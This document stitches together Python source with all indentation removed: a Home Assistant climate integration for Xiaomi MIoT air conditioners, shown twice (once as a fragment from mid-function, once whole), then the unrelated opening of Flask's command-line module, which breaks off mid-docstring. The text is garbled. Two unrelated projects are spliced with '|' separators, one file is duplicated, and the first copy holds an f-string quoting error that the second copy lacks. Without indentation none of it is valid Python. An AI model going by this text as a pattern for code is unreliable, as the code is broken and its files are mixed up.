if 'main' in (params.get(t) or ""):
main_mi_type = t
if main_mi_type or type(params) == OrderedDict:
for k,v in mapping.items():
for kk,vv in v.items():
mappingnew[f"{k[:10]}_{kk}"] = vv
_LOGGER.info("Initializing %s with host %s (token %s...)", config.get(CONF_NAME), host, token[:5])
if type(params) == OrderedDict:
miio_device = MiotDevice(ip=host, token=token, mapping=mapping)
else:
miio_device = MiotDevice(ip=host, token=token, mapping=mappingnew)
try:
if host == DUMMY_IP and token == DUMMY_TOKEN:
raise DeviceException
device_info = miio_device.info()
model = device_info.model
_LOGGER.info(
"%s %s %s detected",
model,
device_info.firmware_version,
device_info.hardware_version,
)
except DeviceException as de:
if not config.get(CONF_CLOUD):
_LOGGER.warn(de)
raise PlatformNotReady
else:
if not (di := config.get('cloud_device_info')):
_LOGGER.error(f"未能获取到设备信息，请删除 {config.get(CONF_NAME)} 重新配置。")
raise PlatformNotReady
else:
device_info = dev_info(
di['model'],
di['mac'],
di['fw_version'],
""
)
device = MiotClimate(miio_device, config, device_info, hass, main_mi_type)
_LOGGER.info(f"{main_mi_type} is the main device of {host}.")
hass.data[DOMAIN]['miot_main_entity'][f'{host}-{config.get(CONF_NAME)}'] = device
hass.data[DOMAIN]['entities'][device.unique_id] = device
async_add_devices([device], update_before_add=True)
else:
_LOGGER.error(f"climate只能作为主设备！请检查{config.get(CONF_NAME)}配置")
async def async_setup_entry(hass, config_entry, async_add_entities):
config = hass.data[DOMAIN]['configs'].get(config_entry.entry_id, dict(config_entry.data))
await async_setup_platform(hass, config, async_add_entities)
async def async_unload_entry(hass, config_entry, async_add_entities):
return True
class MiotClimate(ToggleableMiotDevice, ClimateEntity):
def __init__(self, device, config, device_info, hass, main_mi_type):
ToggleableMiotDevice.__init__(self, device, config, device_info, hass, main_mi_type)
self._speed = None
self._target_temperature = None
self._target_humidity = None
self._unit_of_measurement = TEMP_CELSIUS
self._preset = None
self._preset_modes = None
self._current_temperature = None
self._current_humidity = None
self._current_fan_mode = None
self._hvac_action = None
self._hvac_mode = None
self._aux = None
self._current_swing_mode = None
self._fan_modes = []
self._hvac_modes = None
self._swing_modes = []
if self._did_prefix + 'vertical_swing' in self._mapping and \
self._did_prefix + 'horizontal_swing' in self._mapping:
self._swing_modes = ["Off", "Vertical", "Horizontal", "Both"]
elif self._did_prefix + 'vertical_swing' in self._mapping and \
not self._did_prefix + 'horizontal_swing' in self._mapping:
self._swing_modes = ["Off", "Vertical"]
elif not self._did_prefix + 'vertical_swing' in self._mapping and \
self._did_prefix + 'horizontal_swing' in self._mapping:
self._swing_modes = ["Off", "Horizontal"]
try:
self._target_temperature_step = self._ctrl_params['target_temperature']['value_range'][2]
except:
self._target_temperature_step = 1
@property
def supported_features(self):
"""Return the supported features."""
s = 0
if self._did_prefix + 'target_temperature' in self._mapping:
s |= SUPPORT_TARGET_TEMPERATURE
if self._did_prefix + 'speed' in self._mapping:
s |= SUPPORT_FAN_MODE
if self._did_prefix + 'preset' in self._mapping:
s |= SUPPORT_PRESET_MODE
if self._did_prefix + 'target_humidity' in self._mapping:
s |= SUPPORT_TARGET_HUMIDITY
if self._swing_modes:
s |= SUPPORT_SWING_MODE
# if 'aux_heat' in self._mapping:
# s |= SUPPORT_AUX_HEAT
# if 'temprature_range' in self._mapping:
# s |= SUPPORT_TARGET_TEMPERATURE_RANGE
# s = SUPPORT_TARGET_TEMPERATURE|SUPPORT_FAN_MODE|SUPPORT_PRESET_MODE|SUPPORT_SWING_MODE
return s
@property
def temperature_unit(self):
"""Return the unit of measurement."""
return self._unit_of_measurement
@property
def current_temperature(self):
"""Return the current temperature."""
return self._current_temperature
@property
def target_temperature(self):
"""Return the temperature we try to reach."""
return self._target_temperature
@property
def target_temperature_step(self):
"""Return the temperature we try to reach."""
return self._target_temperature_step
@property
def target_temperature_high(self):
"""Return the highbound target temperature we try to reach."""
return self._ctrl_params['target_temperature']['value_range'][1]
@property
def target_temperature_low(self):
"""Return the lowbound target temperature we try to reach."""
return self._ctrl_params['target_temperature']['value_range'][0]
@property
def min_temp(self):
"""Return the lowbound target temperature we try to reach."""
return self._ctrl_params['target_temperature']['value_range'][0]
@property
def max_temp(self):
"""Return the lowbound target temperature we try to reach."""
return self._ctrl_params['target_temperature']['value_range'][1]
@property
def current_humidity(self):
"""Return the current humidity."""
return self._current_humidity
@property
def target_humidity(self):
"""Return the humidity we try to reach."""
return self._target_humidity
@property
def hvac_action(self):
"""Return current operation ie. heat, cool, idle."""
return self._hvac_action
@property
def hvac_mode(self):
"""Return hvac target hvac state."""
return self._hvac_mode
@property
def state(self):
if not self.is_on:
return STATE_OFF
else:
return self._hvac_mode
@property
def hvac_modes(self):
"""Return the list of available operation modes."""
try:
return [next(a[0] for a in HVAC_MAPPING.items() if b in a[1]) for b in self._ctrl_params['mode']] + [HVAC_MODE_OFF]
except:
_LOGGER.error(f"Modes {self._ctrl_params["mode"]} contains unsupported ones. Please report this message to the developer.")
@property
def preset_mode(self):
"""Return preset mode."""
return self._preset
@property
def preset_modes(self):
"""Return preset modes."""
# return self._preset_modes
return ["home", "eco"]
@property
def is_aux_heat(self):
"""Return true if aux heat is on."""
return self._aux
@property
def fan_mode(self):
"""Return the fan setting."""
return self._current_fan_mode
@property
def fan_modes(self):
"""Return the list of available fan modes."""
return list(self._ctrl_params['speed'].keys())
@property
def swing_mode(self):
"""Return the swing setting."""
return self._current_swing_mode
@property
def swing_modes(self):
"""List of available swing modes."""
return self._swing_modes
async def async_set_temperature(self, **kwargs):
"""Set new target temperatures."""
if kwargs.get(ATTR_TEMPERATURE) is not None:
result = await self.set_property_new(self._did_prefix + "target_temperature", kwargs.get(ATTR_TEMPERATURE))
if result:
self._target_temperature = kwargs.get(ATTR_TEMPERATURE)
self.async_write_ha_state()
async def async_set_humidity(self, humidity):
"""Set new humidity level."""
self._target_humidity = humidity
self.async_write_ha_state()
async def async_set_swing_mode(self, swing_mode):
"""Set new swing mode."""
swm = SWING_MAPPING.index(swing_mode)
parameters = []
if 'Vertical' in self._swing_modes:
parameters.append({
**{'did': self._did_prefix + "vertical_swing", 'value': bool(swm & 1)},
**(self._mapping[self._did_prefix + 'vertical_swing'])
})
if 'Horizontal' in self._swing_modes:
parameters.append({
**{'did': self._did_prefix + "horizontal_swing", 'value': bool(swm >> 1)},
**(self._mapping[self._did_prefix + 'horizontal_swing'])
})
result = await self.set_property_new(multiparams = parameters)
if result:
self._current_swing_mode = swing_mode
self.async_write_ha_state()
async def async_set_fan_mode(self, fan_mode):
"""Set new fan mode."""
result = await self.set_property_new(self._did_prefix + "speed", self._ctrl_params['speed'][fan_mode])
async def async_set_hvac_mode(self, hvac_mode):
"""Set new operation mode."""
if hvac_mode == HVAC_MODE_OFF:
result = await self.async_turn_off()
else:
parameters = []
if not self.is_on:
parameters.append({
**{'did': self._did_prefix + "switch_status", 'value': self._ctrl_params['switch_status']['power_on']},
**(self._mapping[self._did_prefix + 'switch_status'])
})
modevalue = None
for item in HVAC_MAPPING[hvac_mode]:
if item in self._ctrl_params['mode']:
modevalue = self._ctrl_params['mode'].get(item)
break
if not modevalue:
_LOGGER.error(f"Failed to set {self._name} to mode {hvac_mode} because cannot find it in params.")
return False
parameters.append({
**{'did': self._did_prefix + "mode", 'value': modevalue},
**(self._mapping[self._did_prefix + 'mode'])
})
result = await self.set_property_new(multiparams = parameters)
if result:
self._hvac_mode = hvac_mode
self.async_write_ha_state()
async def async_set_preset_mode(self, preset_mode):
"""Update preset_mode on."""
self._preset = preset_mode
self.async_write_ha_state()
async def async_turn_aux_heat_on(self):
"""Turn auxiliary heater on."""
self._aux = True
self.async_write_ha_state()
async def async_turn_aux_heat_off(self):
"""Turn auxiliary heater off."""
self._aux = False
self.async_write_ha_state()
def _handle_platform_specific_attrs(self):
super()._handle_platform_specific_attrs()
try:
self._target_temperature = self._state_attrs.get(self._did_prefix + 'target_temperature')
except:
pass
try:
self._current_temperature = self._state_attrs.get('environmen_temperature')
if not self._current_temperature:
if src := self._ctrl_params.get('current_temp_source'):
try:
state = self.hass.states.get(src)
self._current_temperature = float(state.state)
except Exception as ex:
_LOGGER.error(f"{self._name} 's temperature source ({src}) is invalid! Expect a number, got {state.state if state else None}. {ex}")
self._current_temperature = -1
else:
self._current_temperature = self._target_temperature
except Exception as ex:
_LOGGER.error(ex)
try:
self._current_fan_mode = self.get_key_by_value(self._ctrl_params['speed'], self._state_attrs.get(self._did_prefix + 'speed'))
except:
pass
try:
hvac_mode2 = self.get_key_by_value(self._ctrl_params['mode'], self._state_attrs.get(self._did_prefix + 'mode'))
for k,v in HVAC_MAPPING.items():
if hvac_mode2 in v:
self._hvac_mode = k
except:
pass
if self._swing_modes:
ver = self._state_attrs.get(self._did_prefix + 'vertical_swing') or 0
hor = self._state_attrs.get(self._did_prefix + 'horizontal_swing') or 0
self._current_swing_mode = SWING_MAPPING[hor << 1 | ver]
| import asyncio
import json
import logging
from collections import OrderedDict
from datetime import timedelta
from functools import partial
from typing import Optional
import async_timeout
import homeassistant.helpers.config_validation as cv
import voluptuous as vol
from aiohttp import ClientSession
from homeassistant.components import climate
from homeassistant.components.climate import (ClimateEntity, PLATFORM_SCHEMA)
from homeassistant.components.climate.const import *
from homeassistant.const import *
from homeassistant.exceptions import PlatformNotReady
from homeassistant.helpers import aiohttp_client
from miio.exceptions import DeviceException
from .deps.miio_new import MiotDevice
import copy
from . import GenericMiotDevice, ToggleableMiotDevice, dev_info
from .deps.const import (
DOMAIN,
CONF_UPDATE_INSTANT,
CONF_MAPPING,
CONF_CONTROL_PARAMS,
CONF_CLOUD,
CONF_MODEL,
ATTR_STATE_VALUE,
ATTR_MODEL,
ATTR_FIRMWARE_VERSION,
ATTR_HARDWARE_VERSION,
SCHEMA,
MAP,
DUMMY_IP,
DUMMY_TOKEN,
)
TYPE = 'climate'
_LOGGER = logging.getLogger(__name__)
DEFAULT_NAME = "Generic MIoT " + TYPE
DATA_KEY = TYPE + '.' + DOMAIN
PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend(
SCHEMA
)
HVAC_MAPPING = {
HVAC_MODE_OFF: ['Off', 'Idle', 'None'],
HVAC_MODE_AUTO: ['Auto', 'Auto-tempature'],
HVAC_MODE_COOL: ['Cool'],
HVAC_MODE_HEAT: ['Heat'],
HVAC_MODE_DRY: ['Dry'],
HVAC_MODE_FAN_ONLY: ['Fan', 'Fan-tempature'],
HVAC_MODE_HEAT_COOL:['HeatCool'],
}
SWING_MAPPING = [
"Off",
"Vertical",
"Horizontal",
"Both"
]
SCAN_INTERVAL = timedelta(seconds=10)
# pylint: disable=unused-argument
@asyncio.coroutine
async def async_setup_platform(hass, config, async_add_devices, discovery_info=None):
"""Set up the sensor from config."""
if DATA_KEY not in hass.data:
hass.data[DATA_KEY] = {}
host = config.get(CONF_HOST)
token = config.get(CONF_TOKEN)
mapping = config.get(CONF_MAPPING)
params = config.get(CONF_CONTROL_PARAMS)
mappingnew = {}
main_mi_type = None
this_mi_type = []
for t in MAP[TYPE]:
if mapping.get(t):
this_mi_type.append(t)
if 'main' in (params.get(t) or ""):
main_mi_type = t
if main_mi_type or type(params) == OrderedDict:
for k,v in mapping.items():
for kk,vv in v.items():
mappingnew[f"{k[:10]}_{kk}"] = vv
_LOGGER.info("Initializing %s with host %s (token %s...)", config.get(CONF_NAME), host, token[:5])
if type(params) == OrderedDict:
miio_device = MiotDevice(ip=host, token=token, mapping=mapping)
else:
miio_device = MiotDevice(ip=host, token=token, mapping=mappingnew)
try:
if host == DUMMY_IP and token == DUMMY_TOKEN:
raise DeviceException
device_info = miio_device.info()
model = device_info.model
_LOGGER.info(
"%s %s %s detected",
model,
device_info.firmware_version,
device_info.hardware_version,
)
except DeviceException as de:
if not config.get(CONF_CLOUD):
_LOGGER.warn(de)
raise PlatformNotReady
else:
if not (di := config.get('cloud_device_info')):
_LOGGER.error(f"未能获取到设备信息，请删除 {config.get(CONF_NAME)} 重新配置。")
raise PlatformNotReady
else:
device_info = dev_info(
di['model'],
di['mac'],
di['fw_version'],
""
)
device = MiotClimate(miio_device, config, device_info, hass, main_mi_type)
_LOGGER.info(f"{main_mi_type} is the main device of {host}.")
hass.data[DOMAIN]['miot_main_entity'][f'{host}-{config.get(CONF_NAME)}'] = device
hass.data[DOMAIN]['entities'][device.unique_id] = device
async_add_devices([device], update_before_add=True)
else:
_LOGGER.error(f"climate只能作为主设备！请检查{config.get(CONF_NAME)}配置")
async def async_setup_entry(hass, config_entry, async_add_entities):
config = hass.data[DOMAIN]['configs'].get(config_entry.entry_id, dict(config_entry.data))
await async_setup_platform(hass, config, async_add_entities)
async def async_unload_entry(hass, config_entry, async_add_entities):
return True
class MiotClimate(ToggleableMiotDevice, ClimateEntity):
def __init__(self, device, config, device_info, hass, main_mi_type):
ToggleableMiotDevice.__init__(self, device, config, device_info, hass, main_mi_type)
self._speed = None
self._target_temperature = None
self._target_humidity = None
self._unit_of_measurement = TEMP_CELSIUS
self._preset = None
self._preset_modes = None
self._current_temperature = None
self._current_humidity = None
self._current_fan_mode = None
self._hvac_action = None
self._hvac_mode = None
self._aux = None
self._current_swing_mode = None
self._fan_modes = []
self._hvac_modes = None
self._swing_modes = []
if self._did_prefix + 'vertical_swing' in self._mapping and \
self._did_prefix + 'horizontal_swing' in self._mapping:
self._swing_modes = ["Off", "Vertical", "Horizontal", "Both"]
elif self._did_prefix + 'vertical_swing' in self._mapping and \
not self._did_prefix + 'horizontal_swing' in self._mapping:
self._swing_modes = ["Off", "Vertical"]
elif not self._did_prefix + 'vertical_swing' in self._mapping and \
self._did_prefix + 'horizontal_swing' in self._mapping:
self._swing_modes = ["Off", "Horizontal"]
try:
self._target_temperature_step = self._ctrl_params['target_temperature']['value_range'][2]
except:
self._target_temperature_step = 1
@property
def supported_features(self):
"""Return the supported features."""
s = 0
if self._did_prefix + 'target_temperature' in self._mapping:
s |= SUPPORT_TARGET_TEMPERATURE
if self._did_prefix + 'speed' in self._mapping:
s |= SUPPORT_FAN_MODE
if self._did_prefix + 'preset' in self._mapping:
s |= SUPPORT_PRESET_MODE
if self._did_prefix + 'target_humidity' in self._mapping:
s |= SUPPORT_TARGET_HUMIDITY
if self._swing_modes:
s |= SUPPORT_SWING_MODE
# if 'aux_heat' in self._mapping:
# s |= SUPPORT_AUX_HEAT
# if 'temprature_range' in self._mapping:
# s |= SUPPORT_TARGET_TEMPERATURE_RANGE
# s = SUPPORT_TARGET_TEMPERATURE|SUPPORT_FAN_MODE|SUPPORT_PRESET_MODE|SUPPORT_SWING_MODE
return s
@property
def temperature_unit(self):
"""Return the unit of measurement."""
return self._unit_of_measurement
@property
def current_temperature(self):
"""Return the current temperature."""
return self._current_temperature
@property
def target_temperature(self):
"""Return the temperature we try to reach."""
return self._target_temperature
@property
def target_temperature_step(self):
"""Return the temperature we try to reach."""
return self._target_temperature_step
@property
def target_temperature_high(self):
"""Return the highbound target temperature we try to reach."""
return self._ctrl_params['target_temperature']['value_range'][1]
@property
def target_temperature_low(self):
"""Return the lowbound target temperature we try to reach."""
return self._ctrl_params['target_temperature']['value_range'][0]
@property
def min_temp(self):
"""Return the lowbound target temperature we try to reach."""
return self._ctrl_params['target_temperature']['value_range'][0]
@property
def max_temp(self):
"""Return the lowbound target temperature we try to reach."""
return self._ctrl_params['target_temperature']['value_range'][1]
@property
def current_humidity(self):
"""Return the current humidity."""
return self._current_humidity
@property
def target_humidity(self):
"""Return the humidity we try to reach."""
return self._target_humidity
@property
def hvac_action(self):
"""Return current operation ie. heat, cool, idle."""
return self._hvac_action
@property
def hvac_mode(self):
"""Return hvac target hvac state."""
return self._hvac_mode
@property
def state(self):
if not self.is_on:
return STATE_OFF
else:
return self._hvac_mode
@property
def hvac_modes(self):
"""Return the list of available operation modes."""
try:
return [next(a[0] for a in HVAC_MAPPING.items() if b in a[1]) for b in self._ctrl_params['mode']] + [HVAC_MODE_OFF]
except:
_LOGGER.error(f"Modes {self._ctrl_params['mode']} contains unsupported ones. Please report this message to the developer.")
@property
def preset_mode(self):
"""Return preset mode."""
return self._preset
@property
def preset_modes(self):
"""Return preset modes."""
# return self._preset_modes
return ["home", "eco"]
@property
def is_aux_heat(self):
"""Return true if aux heat is on."""
return self._aux
@property
def fan_mode(self):
"""Return the fan setting."""
return self._current_fan_mode
@property
def fan_modes(self):
"""Return the list of available fan modes."""
return list(self._ctrl_params['speed'].keys())
@property
def swing_mode(self):
"""Return the swing setting."""
return self._current_swing_mode
@property
def swing_modes(self):
"""List of available swing modes."""
return self._swing_modes
async def async_set_temperature(self, **kwargs):
"""Set new target temperatures."""
if kwargs.get(ATTR_TEMPERATURE) is not None:
result = await self.set_property_new(self._did_prefix + "target_temperature", kwargs.get(ATTR_TEMPERATURE))
if result:
self._target_temperature = kwargs.get(ATTR_TEMPERATURE)
self.async_write_ha_state()
async def async_set_humidity(self, humidity):
"""Set new humidity level."""
self._target_humidity = humidity
self.async_write_ha_state()
async def async_set_swing_mode(self, swing_mode):
"""Set new swing mode."""
swm = SWING_MAPPING.index(swing_mode)
parameters = []
if 'Vertical' in self._swing_modes:
parameters.append({
**{'did': self._did_prefix + "vertical_swing", 'value': bool(swm & 1)},
**(self._mapping[self._did_prefix + 'vertical_swing'])
})
if 'Horizontal' in self._swing_modes:
parameters.append({
**{'did': self._did_prefix + "horizontal_swing", 'value': bool(swm >> 1)},
**(self._mapping[self._did_prefix + 'horizontal_swing'])
})
result = await self.set_property_new(multiparams = parameters)
if result:
self._current_swing_mode = swing_mode
self.async_write_ha_state()
async def async_set_fan_mode(self, fan_mode):
"""Set new fan mode."""
result = await self.set_property_new(self._did_prefix + "speed", self._ctrl_params['speed'][fan_mode])
async def async_set_hvac_mode(self, hvac_mode):
"""Set new operation mode."""
if hvac_mode == HVAC_MODE_OFF:
result = await self.async_turn_off()
else:
parameters = []
if not self.is_on:
parameters.append({
**{'did': self._did_prefix + "switch_status", 'value': self._ctrl_params['switch_status']['power_on']},
**(self._mapping[self._did_prefix + 'switch_status'])
})
modevalue = None
for item in HVAC_MAPPING[hvac_mode]:
if item in self._ctrl_params['mode']:
modevalue = self._ctrl_params['mode'].get(item)
break
if not modevalue:
_LOGGER.error(f"Failed to set {self._name} to mode {hvac_mode} because cannot find it in params.")
return False
parameters.append({
**{'did': self._did_prefix + "mode", 'value': modevalue},
**(self._mapping[self._did_prefix + 'mode'])
})
result = await self.set_property_new(multiparams = parameters)
if result:
self._hvac_mode = hvac_mode
self.async_write_ha_state()
async def async_set_preset_mode(self, preset_mode):
"""Update preset_mode on."""
self._preset = preset_mode
self.async_write_ha_state()
async def async_turn_aux_heat_on(self):
"""Turn auxiliary heater on."""
self._aux = True
self.async_write_ha_state()
async def async_turn_aux_heat_off(self):
"""Turn auxiliary heater off."""
self._aux = False
self.async_write_ha_state()
def _handle_platform_specific_attrs(self):
super()._handle_platform_specific_attrs()
try:
self._target_temperature = self._state_attrs.get(self._did_prefix + 'target_temperature')
except:
pass
try:
self._current_temperature = self._state_attrs.get('environmen_temperature')
if not self._current_temperature:
if src := self._ctrl_params.get('current_temp_source'):
try:
state = self.hass.states.get(src)
self._current_temperature = float(state.state)
except Exception as ex:
_LOGGER.error(f"{self._name} 's temperature source ({src}) is invalid! Expect a number, got {state.state if state else None}. {ex}")
self._current_temperature = -1
else:
self._current_temperature = self._target_temperature
except Exception as ex:
_LOGGER.error(ex)
try:
self._current_fan_mode = self.get_key_by_value(self._ctrl_params['speed'], self._state_attrs.get(self._did_prefix + 'speed'))
except:
pass
try:
hvac_mode2 = self.get_key_by_value(self._ctrl_params['mode'], self._state_attrs.get(self._did_prefix + 'mode'))
for k,v in HVAC_MAPPING.items():
if hvac_mode2 in v:
self._hvac_mode = k
except:
pass
if self._swing_modes:
ver = self._state_attrs.get(self._did_prefix + 'vertical_swing') or 0
hor = self._state_attrs.get(self._did_prefix + 'horizontal_swing') or 0
self._current_swing_mode = SWING_MAPPING[hor << 1 | ver]
|
import ast
import inspect
import os
import platform
import re
import sys
import traceback
import warnings
from functools import update_wrapper
from operator import attrgetter
from threading import Lock
from threading import Thread
import click
from werkzeug.utils import import_string
from .globals import current_app
from .helpers import get_debug_flag
from .helpers import get_env
from .helpers import get_load_dotenv
try:
import dotenv
except ImportError:
dotenv = None
try:
import ssl
except ImportError:
ssl = None
class NoAppException(click.UsageError):
"""Raised if an application cannot be found or loaded."""
def find_best_app(script_info, module):
"""Given a module instance this tries to find the best possible
application in the module or raises an exception.
"""
from . import Flask
# Search for the most common names first.
for attr_name in ("app", "application"):
app = getattr(module, attr_name, None)
if isinstance(app, Flask):
return app
# Otherwise find the only object that is a Flask instance.
matches = [v for v in module.__dict__.values() if isinstance(v, Flask)]
if len(matches) == 1:
return matches[0]
elif len(matches) > 1:
raise NoAppException(
"Detected multiple Flask applications in module"
f" {module.__name__!r}. Use 'FLASK_APP={module.__name__}:name'"
f" to specify the correct one."
)
# Search for app factory functions.
for attr_name in ("create_app", "make_app"):
app_factory = getattr(module, attr_name, None)
if inspect.isfunction(app_factory):
try:
app = call_factory(script_info, app_factory)
if isinstance(app, Flask):
return app
except TypeError:
if not _called_with_wrong_args(app_factory):
raise
raise NoAppException(
f"Detected factory {attr_name!r} in module {module.__name__!r},"
" but could not call it without arguments. Use"
f" \"FLASK_APP='{module.__name__}:{attr_name}(args)'\""
" to specify arguments."
)
raise NoAppException(
"Failed to find Flask application or factory in module"
f" {module.__name__!r}. Use 'FLASK_APP={module.__name__}:name'"
" to specify one."
)
def call_factory(script_info, app_factory, args=None, kwargs=None):
"""Takes an app factory, a ``script_info` object and optionally a tuple
of arguments. Checks for the existence of a script_info argument and calls
the app_factory depending on that and the arguments provided.
"""
sig = inspect.signature(app_factory)
args = [] if args is None else args
kwargs = {} if kwargs is None else kwargs
if "script_info" in sig.parameters:
warnings.warn(
"The 'script_info' argument is deprecated and will not be"
" passed to the app factory function in Flask 2.1.",
DeprecationWarning,
)
kwargs["script_info"] = script_info
if (
not args
and len(sig.parameters) == 1
and next(iter(sig.parameters.values())).default is inspect.Parameter.empty
):
warnings.warn(
"Script info is deprecated and will not be passed as the"
" single argument to the app factory function in Flask"
" 2.1.",
DeprecationWarning,
)
args.append(script_info)
return app_factory(*args, **kwargs)
def _called_with_wrong_args(f):
"""Check whether calling a function raised a ``TypeError`` because
the call failed or because something in the factory raised the
error.
:param f: The function that was called.
:return: ``True`` if the call failed.
"""
tb = sys.exc_info()[2]
try:
while tb is not None:
if tb.tb_frame.f_code is f.__code__:
# In the function, it was called successfully.
return False
tb = tb.tb_next
# Didn't reach the function.
return True
finally:
# Delete tb to break a circular reference.
# https://docs.python.org/2/library/sys.html#sys.exc_info
del tb
def find_app_by_string(script_info, module, app_name):
"""Check if the given string is a variable name or a function. Call
a function to get the app instance, or return the variable directly.
"""
from . import Flask
# Parse app_name as a single expression to determine if it's a valid
# attribute name or function call.
try:
expr = ast.parse(app_name.strip(), mode="eval").body
except SyntaxError:
raise NoAppException(
f"Failed to parse {app_name!r} as an attribute name or function call."
)
if isinstance(expr, ast.Name):
name = expr.id
args = kwargs = None
elif isinstance(expr, ast.Call):
# Ensure the function name is an attribute name only.
if not isinstance(expr.func, ast.Name):
raise NoAppException(
f"Function reference must be a simple name: {app_name!r}."
)
name = expr.func.id
# Parse the positional and keyword arguments as literals.
try:
args = [ast.literal_eval(arg) for arg in expr.args]
kwargs = {kw.arg: ast.literal_eval(kw.value) for kw in expr.keywords}
except ValueError:
# literal_eval gives cryptic error messages, show a generic
# message with the full expression instead.
raise NoAppException(
f"Failed to parse arguments as literal values: {app_name!r}."
)
else:
raise NoAppException(
f"Failed to parse {app_name!r} as an attribute name or function call."
)
try:
attr = getattr(module, name)
except AttributeError:
raise NoAppException(
f"Failed to find attribute {name!r} in {module.__name__!r}."
)
# If the attribute is a function, call it with any args and kwargs
# to get the real application.
if inspect.isfunction(attr):
try:
app = call_factory(script_info, attr, args, kwargs)
except TypeError:
if not _called_with_wrong_args(attr):
raise
raise NoAppException(
f"The factory {app_name!r} in module"
f" {module.__name__!r} could not be called with the"
" specified arguments."
)
else:
app = attr
if isinstance(app, Flask):
return app
raise NoAppException(
"A valid Flask application was not obtained from"
f" '{module.__name__}:{app_name}'."
)
def prepare_import(path):
"""Given a filename this will try to calculate the python path, add it
to the search path and return the actual module name that is expected.
"""
path = os.path.realpath(path)
fname, ext = os.path.splitext(path)
if ext == ".py":
path = fname
if os.path.basename(path) == "__init__":
path = os.path.dirname(path)
module_name = []
# move up until outside package structure (no __init__.py)
while True:
path, name = os.path.split(path)
module_name.append(name)
if not os.path.exists(os.path.join(path, "__init__.py")):
break
if sys.path[0] != path:
sys.path.insert(0, path)
return ".".join(module_name[::-1])
def locate_app(script_info, module_name, app_name, raise_if_not_found=True):
__traceback_hide__ = True # noqa: F841
try:
__import__(module_name)
except ImportError:
# Reraise the ImportError if it occurred within the imported module.
# Determine this by checking whether the trace has a depth > 1.
if sys.exc_info()[2].tb_next:
raise NoAppException(
f"While importing {module_name!r}, an ImportError was"
f" raised:\n\n{traceback.format_exc()}"
)
elif raise_if_not_found:
raise NoAppException(f"Could not import {module_name!r}.")
else:
return
module = sys.modules[module_name]
if app_name is None:
return find_best_app(script_info, module)
else:
return find_app_by_string(script_info, module, app_name)
def get_version(ctx, param, value):
if not value or ctx.resilient_parsing:
return
import werkzeug
from . import __version__
click.echo(
f"Python {platform.python_version()}\n"
f"Flask {__version__}\n"
f"Werkzeug {werkzeug.__version__}",
color=ctx.color,
)
ctx.exit()
version_option = click.Option(
["--version"],
help="Show the flask version",
expose_value=False,
callback=get_version,
is_flag=True,
is_eager=True,
)
class DispatchingApp:
"""Special application that dispatches to a Flask application which
is imported by name in a background thread. If an error happens
it is recorded and shown as part of the WSGI handling which in case
of the Werkzeug debugger means that it shows up in the browser.
"""
def __init__(self, loader, use_eager_loading=None):
self.loader = loader
self._app = None
self._lock = Lock()
self._bg_loading_exc_info = None
if use_eager_loading is None:
use_eager_loading = os.environ.get("WERKZEUG_RUN_MAIN") != "true"
if use_eager_loading:
self._load_unlocked()
else:
self._load_in_background()
def _load_in_background(self):
def _load_app():
__traceback_hide__ = True # noqa: F841
with self._lock:
try:
self._load_unlocked()
except Exception:
self._bg_loading_exc_info = sys.exc_info()
t = Thread(target=_load_app, args=())
t.start()
def _flush_bg_loading_exception(self):
__traceback_hide__ = True # noqa: F841
exc_info = self._bg_loading_exc_info
if exc_info is not None:
self._bg_loading_exc_info = None
raise exc_info
def _load_unlocked(self):
__traceback_hide__ = True # noqa: F841
self._app = rv = self.loader()
self._bg_loading_exc_info = None
return rv
def __call__(self, environ, start_response):
__traceback_hide__ = True # noqa: F841
if self._app is not None:
return self._app(environ, start_response)
self._flush_bg_loading_exception()
with self._lock:
if self._app is not None:
rv = self._app
else:
rv = self._load_unlocked()
return rv(environ, start_response)
class ScriptInfo:
"""Helper object to deal with Flask applications. This is usually not
necessary to interface with as it's used internally in the dispatching
to click. In future versions of Flask this object will most likely play
a bigger role. Typically it's created automatically by the
:class:`FlaskGroup` but you can also manually create it and pass it
onwards as click object.
"""
def __init__(self, app_import_path=None, create_app=None, set_debug_flag=True):
#: Optionally the import path for the Flask application.
self.app_import_path = app_import_path or os.environ.get("FLASK_APP")
#: Optionally a function that is passed the script info to create
#: the instance of the application.
self.create_app = create_app
#: A dictionary with arbitrary data that can be associated with
#: this script info.
self.data = {}
self.set_debug_flag = set_debug_flag
self._loaded_app = None
def load_app(self):
"""Loads the Flask app (if not yet loaded) and returns it. Calling
this multiple times will just result in the already loaded app to
be returned.
"""
__traceback_hide__ = True # noqa: F841
if self._loaded_app is not None:
return self._loaded_app
if self.create_app is not None:
app = call_factory(self, self.create_app)
else:
if self.app_import_path:
path, name = (
re.split(r":(?![\\/])", self.app_import_path, 1) + [None]
)[:2]
import_name = prepare_import(path)
app = locate_app(self, import_name, name)
else:
for path in ("wsgi.py", "app.py"):
import_name = prepare_import(path)
app = locate_app(self, import_name, None, raise_if_not_found=False)
if app:
break
if not app:
raise NoAppException(
"Could not locate a Flask application. You did not provide "
'the "FLASK_APP" environment variable, and a "wsgi.py" or '
'"app.py" module was not found in the current directory.'
)
if self.set_debug_flag:
# Update the app's debug flag through the descriptor so that
# other values repopulate as well.
app.debug = get_debug_flag()
self._loaded_app = app
return app
pass_script_info = click.make_pass_decorator(ScriptInfo, ensure=True)
def with_appcontext(f):
"""Wraps a callback so that it's guaranteed to be executed with the
script's application context. If callbacks are registered directly
to the ``app.cli`` object then they are wrapped with this function
by default unless it's disabled.
"""
@click.pass_context
def decorator(__ctx, *args, **kwargs):
with __ctx.ensure_object(ScriptInfo).load_app().app_context():
return __ctx.invoke(f, *args, **kwargs)
return update_wrapper(decorator, f)
class AppGroup(click.Group):
"""This works similar to a regular click :class:`~click.Group` but it
changes the behavior of the :meth:`command` decorator so that it
automatically wraps the functions in :func:`with_appcontext`.
Not to be confused with :class:`FlaskGroup`.
"""
def command(self, *args, **kwargs):
"""This works exactly like the method of the same name on a regular
:class:`click.Group` but it wraps callbacks in :func:`with_appcontext`
unless it's disabled by passing ``with_appcontext=False``.
"""
wrap_for_ctx = kwargs.pop("with_appcontext", True)
def decorator(f):
if wrap_for_ctx:
f = with_appcontext(f)
return click.Group.command(self, *args, **kwargs)(f)
return decorator
def group(self, *args, **kwargs):
"""This works exactly like the method of the same name on a regular
:class:`click.Group` but it defaults the group class to
:class:`AppGroup`.
"""
kwargs.setdefault("cls", AppGroup)
return click.Group.group(self, *args, **kwargs)
class FlaskGroup(AppGroup):
"""Special subclass of the :class:`AppGroup` group that supports
loading more commands from the configured Flask app. Normally a
developer does not have to interface with this class but there are
some very advanced use cases for which it makes sense to create an
instance of this. see :ref:`custom-scripts`.
